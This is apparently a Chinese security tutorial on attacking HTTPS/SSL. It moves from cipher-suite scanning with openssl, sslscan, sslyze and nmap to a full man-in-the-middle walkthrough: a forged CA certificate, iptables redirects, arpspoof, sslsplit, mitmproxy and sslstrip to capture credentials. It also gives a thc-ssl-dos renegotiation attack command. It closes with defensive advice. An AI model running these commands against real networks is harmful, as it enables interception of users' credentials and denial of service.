本文主要描述 HTTPS 中对于 ssl/tls
加密的攻击手法,什么是 HTTPS 呢?百度百科的解释如下:
HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的 HTTP 通道,简单讲是 HTTP 的安全版。即 HTTP 下加入 SSL 层,HTTPS 的安全基础是 SSL,因此加密的详细内容就需要 SSL。
ssl/tls 用途
1、为实现 CIA (保密性, 完整性, 可用性)
2、解决信息传输过程中数据被篡改,窃听
3、通过,密钥交换算法,对称加密,非对称加密,单向加密 (HASH) 手段进行加密
常见的攻击方式
1、降级攻击
2、解密攻击(明文, 证书伪造)
3、协议漏洞, 实现方法的漏洞, 配置不严格
SSL/TLS 应用场景
1、http, 称为 https
2、邮件传输(服务器间, 客户端与服务器间)
3、数据库服务器间
4、LDAP 身份认证服务器间
5、SSL V**
6、DRP 通信过程的加密和身份认证
加密过程
1、协商加密协议
2、获取公钥证书
3、验证公钥证书
4、交换会话秘钥
5、ssl连接建立完成,使用加密传输
详细叙述:
1、浏览器将自己支持的加密规则(也就是 CipherSuite )发给服务器
2、服务器端收到请求,然后从客户支持的 CipherSuite 中选出一个应答,并发送给客户端公钥证书和选用的 HASH 算法
3、客户端收到公钥之后,利用自己的信任的根证书对收到的公钥进行验证.若通过,客户端随机生成对称密钥 (Pre-Master secret),通过服务器发给客户端,然后使用公钥对对称密钥进行加密,并计算连接中全部报文信息的 hash ,再利用生成的对称密钥对 hash 值加密,然后把公钥加密的对称密钥及对称密钥加密的 hash 值发送给服务器.
4、服务器利用自己的私钥对利用公钥加密的对称密钥进行解密,得到对称密钥. 再利用对称密钥解密 hash 值,对 hash 值进行验证.在验证成功后,会返回给客户端 Finish 报文。(至此,ssl 连接建立成功)
5、ssl 连接建立完成之后信息的传输加密过程是这样的:
客户端:先用对称密钥加密要传输的信息,再利用 hash 算法得出加了密的信息的 hash 值.再利用公钥对 hash 值进行加密,之后把对称密钥加密了的信息和利用公钥加密后信息的 hash 值,传输给服务器.
服务器: 与客户端基本相同,不过把公钥加密换做私钥加密。
简单图示
WireShark来分析回话过程
ssl 的弱点
1、ssl 是不同的对称、非对称、单项加密算法的组合加密实现(cipher suite)
2、服务器为实现更好的兼容性, 支持大量的过时的 cipher suite
3、协商过程中可能强迫降低加密强度
4、现代处理器的计算性能使可再可接受的时间内破解过时的加密算法
这里主要针对弱 cipher suite 的弱加密组合和历史漏洞(如 heartbleed )进行扫描,常见工具如下:
openssl
openssl s_client connect www.baidu.com:443
检查支持的不安全的 cipher
openssl s_client -tls1_2 -cipher 'NULL,EXPORT,LOW,DES' -connect www.baidu.com:443
sslscan
自动识别 ssl 配置错误, 过期协议, 过时的 cipher suite, 默认检查 crime, heartbleed 漏洞, 绿色表示安全, 红色,黄色需引起注意:
sslscan --tlsall www.baidu.com:443
分析证书详细信息
sslscan --show-certificate --no-ciphersuites www.baidu.com
sslyze
检查 ssl 过时版本, 检查存在弱点的 cipher suite, 扫描多站点时,支持读自文件,检查是否支持回话恢复
sslyze --regular www.baidu.com:443
nmap
nmap --script=ssl-enum-ciphers.nse www.baidu.com
当然,nmap 还有其他检查 ssl 的脚本
在线查询
https://www.ssllabs.com/ssltest
攻击者告诉目标机自己是网关,同时 NAT 转发目标机的信息给网关.
图解
图是网络上的,图示很赞.(侵删)
实现中间人攻击手段
为实现攻击者插入到被攻击者和服务器通信链路中的手段
1、ARP 欺骗
2、DHCP服务器
自己搭建一个 DHCP 服务器,如果攻击者的 DHCP 服务器与被攻击者的距离比网关与被攻击者的距离近才可行,会有一个接受先响应者的就近原则
3、通过 ICMP, STP, OSPF 协议攻击 欺骗 ICMP 重定向, STP 的根, OSPF 的默认路由
4、理论可行的(操作前提是先控制被攻击者): 修改被攻击者网关, 修改被攻击者 DNS, 修改被攻击者 hosts
ssl 攻击前提
1、客户端信任伪造证书
客户端禁止显示证书错误, 被攻击者自己点击信任, 攻击者控制了客户端,强迫信任证书.
2、攻击者控制了证书颁发机构,拿到合法证书(当然,也可以合法的花钱购买)
攻击演示
1、伪造证书
生成证书私钥:
openssl genrsa -out ca.key 2048
利用私钥,生成根证书
openssl req -new -x509 -days 999 -key ca.key -out ca.crt
这里需要填写信息,可以仿照真实证书信息填写.
2、启动路由
sysctl -w net.ipv4.ip_forward=1
或
echo 1 > /proc/sys/net/ipv4/ip_forward
3、配置 iptables 的 nat 表
iptables -t nat -F #清空 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 #https 这是最重要的一条 iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 #MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 #SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 #IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 #POP3S iptables -t nat -L # 确认
注意 攻击者的 80,443, 587 等端口不能被其它程序占用.
4.arp 欺骗
攻击者
arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1
被攻击者:
上面是欺骗前的,下面是欺骗后的。
5、sslsplit
透明的 ssl/tls 中间人攻击工具 对客户端伪造服务器,对服务器伪装客户端,伪装服务器时需要证书,支持 ssl/tls 加密的 smtp, pop3, ftp 等通信中间人攻击
mkdir -p test/log sslsplit -D -l connect.log -j /root/test -S /root/test/log -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
被攻击者访问 HTTPS 网站
为了演示, 这里就点继续访问吧.
攻击者可以从日志中查看到被攻击者传输的内容, 但是请注意不是所有信息都是那么明朗,比如淘宝,百度等的密码栏会先利用其他加密组件进行加密然后才进行传输,我们能看到的只是传输过程的明文信息。
补充
如果不喜欢 sslsplit
还可以选其它工具,同样是 arp 欺骗,然后端口转发,之后使用 ssl 透明代理工具
mitmproxy
开启路由:
echo 1 > /proc/sys/net/ipv4/ip_forward
端口转发:
iptables -t nat -F #清空 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
arp 欺骗
arpspoof -i eth0 -t 192.168.0.108 -r 192.168.0.1
启用 mitmproxy
mitmproxy -T --host -w logfile.log
依然会报证书错误,不过在没有在没有加密组件的情况下,可以直接获取用户名和密码。
sslstrip
注意:此工具直接将客户端到中间人之间的流量变为明文,其它准备步骤相同,然后执行:
sslstrip -l 8080
这样可以把 https 网站转化成 http,不再报证书错误。
尤其对手机而言,更不会注意到地址栏的信息,所以相对隐蔽一些。
查看当前目录生成的 sslstrip.log 文件(默认只记录 post 的数据)可查看 post 的数据。
主要是利用 ssl-renegotiation
(如果禁用下面这个攻击工具就不能直接利用了), 不断的重协商,增加服务器负担,而不是流量式的攻击
thc-ssl-dos ip 443 --accept
SSL/TLS 的安全基础是私钥的保密,这里以一道 CTF 题来做引证。
题目假设: 获得了服务器私钥, 和抓包的得到加密流量
1、WireShark 打开流量包:
wireshark
:Preferences -> Protocols -> SSL -> Edit RSA keys list
输入私钥的文件地址信息
然后可以右键一个 ssl 包,追踪流(选中 ssl 流)
tls/ssl 大大的提高了各种应用的安全性,提高了各种劫持破解的成本。但是不是百分百的安全,当访问一个网站的时候,如果遇到证书错误,如果不是有足够的理由去信任的,请直接拒绝访问。新的技术引入的同时,如果不注意正确配置,还会造成新的攻击面,如本文提到的拒绝服务攻击,所以在配置 ssl 时,注意关闭客户端发起的重协商请求。同时要注意服务器私钥的保管,如果泄露了,那么 SSL 的一切安全基础也没有了。最后,希望本文对大家有一点点力量。